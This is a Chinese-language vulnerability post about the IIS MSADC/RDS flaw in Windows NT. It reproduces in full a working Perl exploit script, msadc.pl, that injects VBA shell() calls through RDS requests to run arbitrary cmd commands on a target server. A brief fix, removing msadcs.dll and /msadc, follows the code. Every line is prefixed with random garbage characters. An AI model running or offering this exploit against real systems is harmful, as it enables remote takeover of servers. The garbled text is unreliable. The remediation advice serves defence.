IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%Ycy{` ]}-7_n#cC 涉及程序:
,c$_t+ Microsoft NT server
V6&!9b ?GoR^p #p 描述:
:uq\+(9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9N%We|L,c "$Z= %.3Q 详细:
t7dt*D_YqK 如果你没有时间读详细内容的话,就删除:
:0j?oY~e c:\Program Files\Common Files\System\Msadc\msadcs.dll
q77;ZPfs8 有关的安全问题就没有了。
6Z6'}BDP @uqd.Q 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
j9x<Y] 3s,g* 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
iZ3IdiZ 关于利用ODBC远程漏洞的描述,请参看:
!*F1q|R <
Mn ; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /yDz/>ID\ @Q
]=\N: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
"/*\1v9 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 53;}Nt#R q1$N>;& 这里不再论述。
t9k zw*U9 ~:rl=o } 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
0U(@=7V (^8Y|:Tz /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
_JzEGpeG 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
VuhGx:Xl Gv!2f DbBcQ% #将下面这段保存为txt文件,然后: "perl -x 文件名"
iW]j9} t )0.kv2o. #!perl
KVoS
C@w #
acajHs # MSADC/RDS 'usage' (aka exploit) script
4x=v?g& #
>\-hO&%_ # by rain.forest.puppy
>a!/QMh #
m)ky*"( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q04al= # beta test and find errors!
:)-Sk$ !_]Y~[ use Socket; use Getopt::Std;
&n}]w+w getopts("e:vd:h:XR", \%args);
O40?{v' SB;&GHq"n print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!fV+z%: ?qv
!w~m< if (!defined $args{h} && !defined $args{R}) {
0cv{ print qq~
.wEd"A&j Usage: msadc.pl -h <host> { -d <delay> -X -v }
%+aCJu[k(z -h <host> = host you want to scan (ip or domain)
6C1#/ -d <seconds> = delay between calls, default 1 second
zq3\}9 -X = dump Index Server path table, if available
-V*R\,> -v = verbose
.Yamc#A- -e = external dictionary file for step 5
t>L2 fbyd"(V8r Or a -R will resume a command session
2jA {SY- fF!Yp iI" ~; exit;}
paA(C|%{ ]}>2D,; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
w1FcB$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vz@A;t if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
P7[h-3+^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
k90YV( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6gU96Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
juP7P[d$qW *[Imn\hu if (!defined $args{R}){ $ret = &has_msadc;
%HhBt5w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v8w q,CYV /m!BY}4W print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^L,K& Jd . "cmd /c ";
+i6GHBn~J $in=<STDIN>; chomp $in;
v1#otrf $command="cmd /c " . $in ;
WSPI|#Xr% j}#w)M if (defined $args{R}) {&load; exit;}
"-E\[@/ ;_XFo&@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!K#qe Y} &try_btcustmr;
K$z2YJ% 3RUy,s print "\nStep 2: Trying to make our own DSN...";
xW+6qtG` &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
!@5 9) qRu~$K print "\nStep 3: Trying known DSNs...";
2zX]\s?3 &known_dsn;
Mg+2.
8% \wmN print "\nStep 4: Trying known .mdbs...";
V~qNyOtA] &known_mdb;
.zf~.R;> S0$8@"~= if (defined $args{e}){
a1+oj7 print "\nStep 5: Trying dictionary of DSN names...";
RCJ|P~* &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
v<k?Vu l#&8x print "Sorry Charley...maybe next time?\n";
)Dms exit;
A]*}HZ, @?ebuj5{e ##############################################################################
"%)qRe cF*TotU_m sub sendraw { # ripped and modded from whisker
@b\$ yB@z sleep($delay); # it's a DoS on the server! At least on mine...
7lTC{7C57 my ($pstr)=@_;
Nd4f^Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,};&tR die("Socket problems\n");
Fk7?xc if(connect(S,pack "SnA4x8",2,80,$target)){
ZT*ydln select(S); $|=1;
_=>He=v/ print $pstr; my @in=<S>;
TT%M'5& select(STDOUT); close(S);
\Dm";Ay> return @in;
OHN _ } else { die("Can't connect...\n"); }}
kb%;=t2 m<G,[Yc ##############################################################################
NCXRevE 3=#<X-); sub make_header { # make the HTTP request
]Ee?6]bN my $msadc=<<EOT
QP==?g3 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.D~;u-%|F User-Agent: ACTIVEDATA
,O5NLg- Host: $ip
!"e5h`/ADM Content-Length: $clen
+ /G2fhE Connection: Keep-Alive
m[osg< CR_ cdH>n) ADCClientVersion:01.06
g@Z))M+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
J6"9v;V t|?ez4/{z --!ADM!ROX!YOUR!WORLD!
|T /ZL! Content-Type: application/x-varg
iO{hA Content-Length: $reqlen
PN%zIkbo Z{.8^u1I EOT
YRk(u7:0 ; $msadc=~s/\n/\r\n/g;
$QF{iV@6d4 return $msadc;}
uh_RGM& C.:<-xo ##############################################################################
x^qVw5{n _%Bi: HG0 sub make_req { # make the RDS request
9)yJ:
N#F my ($switch, $p1, $p2)=@_;
1#g2A0U, my $req=""; my $t1, $t2, $query, $dsn;
j3oV+zZ49 *U- 4Sy if ($switch==1){ # this is the btcustmr.mdb query
_{O>v\u $query="Select * from Customers where City=" . make_shell();
e4$H&'b| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Tb}4wLu $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
phkwN}6 umfD>" ^I elsif ($switch==2){ # this is general make table query
;>hO+Wo $query="create table AZZ (B int, C varchar(10))";
r r %V.r;2 $dsn="$p1";}
iU918!!N +QavYqPF elsif ($switch==3){ # this is general exploit table query
eIF5ZPSZi $query="select * from AZZ where C=" . make_shell();
yN0Vr\r2 $dsn="$p1";}
%Xd[(Q) + 480 l} elsif ($switch==4){ # attempt to hork file info from index server
&E F!OBR $query="select path from scope()";
ssA`I<p # $dsn="Provider=MSIDXS;";}
uc{Ihw YqD=>P[O elsif ($switch==5){ # bad query
{W`%g^Z|H $query="select";
hag$GX'2k $dsn="$p1";}
GVr1`l 5I;&mW`1,` $t1= make_unicode($query);
UgRiIQMq. $t2= make_unicode($dsn);
ODN/G%l $req = "\x02\x00\x03\x00";
g-k|>-h $req.= "\x08\x00" . pack ("S1", length($t1));
*R,5h2; $req.= "\x00\x00" . $t1 ;
octL"t8w $req.= "\x08\x00" . pack ("S1", length($t2));
E~T-=ocKE $req.= "\x00\x00" . $t2 ;
X`/k)N>l $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
]q[D>6_ return $req;}
1\m[$Gs: -ad{tJV| ##############################################################################
B@))8.h] r<EY]f^`u sub make_shell { # this makes the shell() statement
QL/(72K return "'|shell(\"$command\")|'";}
:4w ?# CxmKz78 ##############################################################################
qkqIV^*R \l0[rcEf sub make_unicode { # quick little function to convert to unicode
[DOckf oZx my ($in)=@_; my $out;
8W7J3{d for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
) q4[zv9 return $out;}
Oo~;
L, }v{LRRi ##############################################################################
4"ZP 'I; a-tmq]]E sub rdo_success { # checks for RDO return success (this is kludge)
+=h:Vb8 my (@in) = @_; my $base=content_start(@in);
Ne!lH@ql if($in[$base]=~/multipart\/mixed/){
j;r-NCBnz return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8Fh)eha9f return 0;}
372rbY RB\uK
1+ ##############################################################################
/nsX]V6i T!{w~'=F sub make_dsn { # this makes a DSN for us
29b9`NXt my @drives=("c","d","e","f");
\@zHON( print "\nMaking DSN: ";
wlvgg foreach $drive (@drives) {
,`Z1m
o>n print "$drive: ";
[|L<_.8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'LC1(V!_j "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T-L||yE,h . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>=>2m2z= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
b|DdG/O return 0 if $2 eq "404"; # not found/doesn't exist
+sA2WK] if($2 eq "200") {
+\A,&;!SR foreach $line (@results) {
=nS3p6>rZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
B 3I`40# } return 0;}
&z3o7rif$ {P./==^0 ##############################################################################
Llo"MO*sr BWrxunHO sub verify_exists {
0OE:[pR my ($page)=@_;
59A}}.@?m my @results=sendraw("GET $page HTTP/1.0\n\n");
%> eiAB_b return $results[0];}
4$<JHo
@. t*u:hex ##############################################################################
SnfYT)Ph 7$=InK sub try_btcustmr {
*)Zdz9E'1( my @drives=("c","d","e","f");
tWRC$ my @dirs=("winnt","winnt35","winnt351","win","windows");
u6agoK|^9 ^2rN>k,? foreach $dir (@dirs) {
RRJ%:5& print "$dir -> "; # fun status so you can see progress
SXh-A1t foreach $drive (@drives) {
>t+P(*u print "$drive: "; # ditto
?@x/E& $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"{t$nVJ $reqlenlen=length( "$reqlen" );
OyIw>Wfv $clen= 206 + $reqlenlen + $reqlen;
]SEZaT -9?]IIVb my @results=sendraw(make_header() . make_req(1,$drive,$dir));
n$R)>nY if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.%-8 t{dt else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V7/Rby Q %BODkc Zh ##############################################################################
dE3) |% hy!3yB@ sub odbc_error {
EU#^7 my (@in)=@_; my $base;
|.dRily+ my $base = content_start(@in);
7tp36 TE if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]4e;RV-B $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x{n=;JD $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0g;|y4SN= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8P`"M#fI return $in[$base+4].$in[$base+5].$in[$base+6];}
i.#:zU%o print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Gc7=
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{;oPLr+Z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Hn:Crl y# &^nGtW%a 9 ##############################################################################
2g<Xtt7+o cwL_tq sub verbose {
!R$`+wZ62 my ($in)=@_;
pR_9NfV{ return if !$verbose;
5r0YA
IJ print STDOUT "\n$in\n";}
Ys7]B9/1O 7EJ+c${e.- ##############################################################################
*1"+%Z^ ^zr`;cJ+c sub save {
dN6?c'iN?2 my ($p1, $p2, $p3, $p4)=@_;
fQFk+C open(OUT, ">rds.save") || print "Problem saving parameters...\n";
lquLT6] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
05R@7[GWq close OUT;}
Sjj6q` TA\vZGJ(' ##############################################################################
ry]l.@o; (m$Y<{)2 sub load {
|y*c9 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y0> @vTUX open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@6]JIJE @p=<IN>; close(IN);
`0svy} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[>9is=>o. $target= inet_aton($ip) || die("inet_aton problems");
<ZW-QN4 print "Resuming to $ip ...";
{{1G`;|v9 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
%2h>-.tY if($p[1]==1) {
>GuM]qn $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
`@%LzeGz $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
u@^LW<eD my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
HKe K<V if (rdo_success(@results)){print "Success!\n";}
@+DX.9 else { print "failed\n"; verbose(odbc_error(@results));}}
l"]V6!-U elsif ($p[1]==3){
MOC/KNb if(run_query("$p[3]")){
{)Xy%QV print "Success!\n";} else { print "failed\n"; }}
v^PO|Z elsif ($p[1]==4){
0}9h]X' if(run_query($drvst . "$p[3]")){
d5 -qZ{W print "Success!\n"; } else { print "failed\n"; }}
m+9#5a- exit;}
7:~_D7n ,u m|1dh ##############################################################################
('~LMu_ {+Jv+J9 sub create_table {
8k79&| my ($in)=@_;
31)&vf[[ $reqlen=length( make_req(2,$in,"") ) - 28;
QL* IiFR $reqlenlen=length( "$reqlen" );
R-Sym8c $clen= 206 + $reqlenlen + $reqlen;
cCX*D_kCB my @results=sendraw(make_header() . make_req(2,$in,""));
!'Kjx return 1 if rdo_success(@results);
.^.z2
e my $temp= odbc_error(@results); verbose($temp);
7z-[f'EIUI return 1 if $temp=~/Table 'AZZ' already exists/;
}7X%'Bg=M return 0;}
K^[?O{x^B MQ4KdqgP ##############################################################################
.V*^|UXbHi Dh*n!7lD` sub known_dsn {
W!<U85-#S # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/tLVX} & my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
|hQ;l|SWg "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
OJxl<Q=z "banner", "banners", "ads", "ADCDemo", "ADCTest");
pJ{Y
lS{ 4\i[m:e=@ foreach $dSn (@dsns) {
n:X y6H print ".";
+h$
9\ next if (!is_access("DSN=$dSn"));
Ep}s}Stlr} if(create_table("DSN=$dSn")){
3oqHGA:} print "$dSn successful\n";
d'2A,B~_* if(run_query("DSN=$dSn")){
=Sv/IXX\di print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-HuA
\0J print "Something's borked. Use verbose next time\n";}}} print "\n";}
o(HbGHIP p#Bi>/C6 ##############################################################################
;=N#`l $J2Gf(RU sub is_access {
He)%S]RLk my ($in)=@_;
Yw9GN2AG $reqlen=length( make_req(5,$in,"") ) - 28;
[gB+C84%% $reqlenlen=length( "$reqlen" );
u&NV,6Fj2[ $clen= 206 + $reqlenlen + $reqlen;
b]y2+A.n my @results=sendraw(make_header() . make_req(5,$in,""));
CWlw0X my $temp= odbc_error(@results);
D]}G.v1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
.u:GjL'$ return 0;}
7 3m1 "}!G!k: ##############################################################################
8_8l.!~ #F#%`Rv1 sub run_query {
]tD]Wx% my ($in)=@_;
$?Wb}DU7_L $reqlen=length( make_req(3,$in,"") ) - 28;
Uv.)?YeGh $reqlenlen=length( "$reqlen" );
3 Y &d= $clen= 206 + $reqlenlen + $reqlen;
&vJH$R my @results=sendraw(make_header() . make_req(3,$in,""));
G?ZXWu. return 1 if rdo_success(@results);
9my^Y9B my $temp= odbc_error(@results); verbose($temp);
! z**y}<T return 0;}
q@qsp&0/ eJSxn1GW ##############################################################################
eIlva? xmG<]WF>E sub known_mdb {
.h[:xYm my @drives=("c","d","e","f","g");
q@&6#B my @dirs=("winnt","winnt35","winnt351","win","windows");
9FvFhY my $dir, $drive, $mdb;
Q@niNDaW2 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*fdTpXa gSgr6TH0 # this is sparse, because I don't know of many
yr6V3],Tp my @sysmdbs=( "\\catroot\\icatalog.mdb",
Kgv T"s. "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(ZGbhMK "\\system32\\certmdb.mdb",
nu^436MSOa "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
phK/ iwq!w6+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
;*N5Y}?j' "\\cfusion\\cfapps\\forums\\forums_.mdb",
qLCR] _* "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
dI2
V>vk "\\cfusion\\cfapps\\security\\realm_.mdb",
/{[o~:'p "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~@!bsLSMU "\\cfusion\\database\\cfexamples.mdb",
fox6)Uot "\\cfusion\\database\\cfsnippets.mdb",
omFz@ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
H.;Q+A,8^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*I+Q~4 "\\cfusion\\brighttiger\\database\\cleam.mdb",
>sF)BoLc "\\cfusion\\database\\smpolicy.mdb",
9$Y=orpWxr "\\cfusion\\database\cypress.mdb",
7,MR*TO, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
FsPw1A$y "\\website\\cgi-win\\dbsample.mdb",
QnDg6m)+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Y@v>FlqI{ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
6LZCgdS{ ); #these are just
[K Qi.u foreach $drive (@drives) {
3'Rx=G' foreach $dir (@dirs){
hb-%_c"kq foreach $mdb (@sysmdbs) {
_GPe<H print ".";
YR70BOxK if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*Ly6`HZ9 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f^e)O$N9] if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sT.ss$HY9, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
N[hG8f } else { print "Something's borked. Use verbose next time\n"; }}}}}
K:M8h{Ua 46x'I( foreach $drive (@drives) {
GY*p?k<i foreach $mdb (@mdbs) {
"4Nt\WQ print ".";
xk5]^yDp if(create_table($drv . $drive . $dir . $mdb)){
5G#n"}T print "\n" . $drive . $dir . $mdb . " successful\n";
@WhHUd4s if(run_query($drv . $drive . $dir . $mdb)){
:0/7, i print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
s.rm7r@# } else { print "Something's borked. Use verbose next time\n"; }}}}
Ef\-VKh }
z}<^jgJ #tHK"20 ##############################################################################
)BE1Q*=
n OI*H,Z" sub hork_idx {
1 zZlC#V print "\nAttempting to dump Index Server tables...\n";
|)&%A%m print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3Vwh|1? $reqlen=length( make_req(4,"","") ) - 28;
-=="<0c $reqlenlen=length( "$reqlen" );
6863xOv{T $clen= 206 + $reqlenlen + $reqlen;
' QG?nu my @results=sendraw2(make_header() . make_req(4,"",""));
!if if (rdo_success(@results)){
#spCtZE my $max=@results; my $c; my %d;
w]H->B29C for($c=19; $c<$max; $c++){
w
xH7?tsf $results[$c]=~s/\x00//g;
8}[).d160 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4Ig;3 ^%71 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
CAJ'zA|o $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
eRYK3W $d{"$1$2"}="";}
$`c:& foreach $c (keys %d){ print "$c\n"; }
.8R@2c`}Cs } else {print "Index server doesn't seem to be installed.\n"; }}
3F3A%C% eavV?\uV% ##############################################################################
-"`=1l S!UaH>Rh sub dsn_dict {
BLttb open(IN, "<$args{e}") || die("Can't open external dictionary\n");
j^'go&p while(<IN>){
I0-MRU~[K $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
pb}*\/s next if (!is_access("DSN=$dSn"));
|N2#ItBbW if(create_table("DSN=$dSn")){
\Z/@C lCm print "$dSn successful\n";
-~1~I
e2 if(run_query("DSN=$dSn")){
'NmRR]Q9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JI}'dU>*U: print "Something's borked. Use verbose next time\n";}}}
Nc`L;CP print "\n"; close(IN);}
gJXaPJA{ WE?5ehEme ##############################################################################
wj,=$RX Tbq;h?D sub sendraw2 { # ripped and modded from whisker
#a6iuO0I sleep($delay); # it's a DoS on the server! At least on mine...
k:;r2f my ($pstr)=@_;
T[gv0|+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^sw?gH* die("Socket problems\n");
i@yC-))bY if(connect(S,pack "SnA4x8",2,80,$target)){
;I}fBZ3
print "Connected. Getting data";
l**X^+=$ open(OUT,">raw.out"); my @in;
6Oq7#3] select(S); $|=1; print $pstr;
1#x0 q:6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
5O%{{J close(OUT); select(STDOUT); close(S); return @in;
{FkF } else { die("Can't connect...\n"); }}
V`- 9m$ GOPfXtkC ##############################################################################
m`XHKRp ;uJMG sub content_start { # this will take in the server headers
9w"*y#_ my (@in)=@_; my $c;
A^g(k5M* for ($c=1;$c<500;$c++) {
~$'awY if($in[$c] =~/^\x0d\x0a/){
]kSG R if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Xvu(vA else { return $c+1; }}}
aN?zmkPpov return -1;} # it should never get here actually
7#XzrT] 7.Op< ##############################################################################
zCZf%ATq m0wDX*Qn sub funky {
9{l}bu/u my (@in)=@_; my $error=odbc_error(@in);
lxx2H1([ if($error=~/ADO could not find the specified provider/){
C+$#y2"z#n print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?,mmYW6TjB exit;}
oR'm2d ^ if($error=~/A Handler is required/){
Cdn J&N{ print "\nServer has custom handler filters (they most likely are patched)\n";
0mE 0 j exit;}
L *wYx| if($error=~/specified Handler has denied Access/){
Z@HEj_n print "\nServer has custom handler filters (they most likely are patched)\n";
6P3*Z exit;}}
|Cv!,]9:r Wr
4,YQM ##############################################################################
zhQJy?>'m r!v\"6:OM sub has_msadc {
Txu/{M, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
oH@78D0A my $base=content_start(@results);
Q &8-\ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@ArSC return 0;}
)=+|i3]U >4TO=i ########################
K(4_a``05 dysS9a, -).C 解决方案:
6ujWNf 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\fOEqe*5SM 2、移除web 目录: /msadc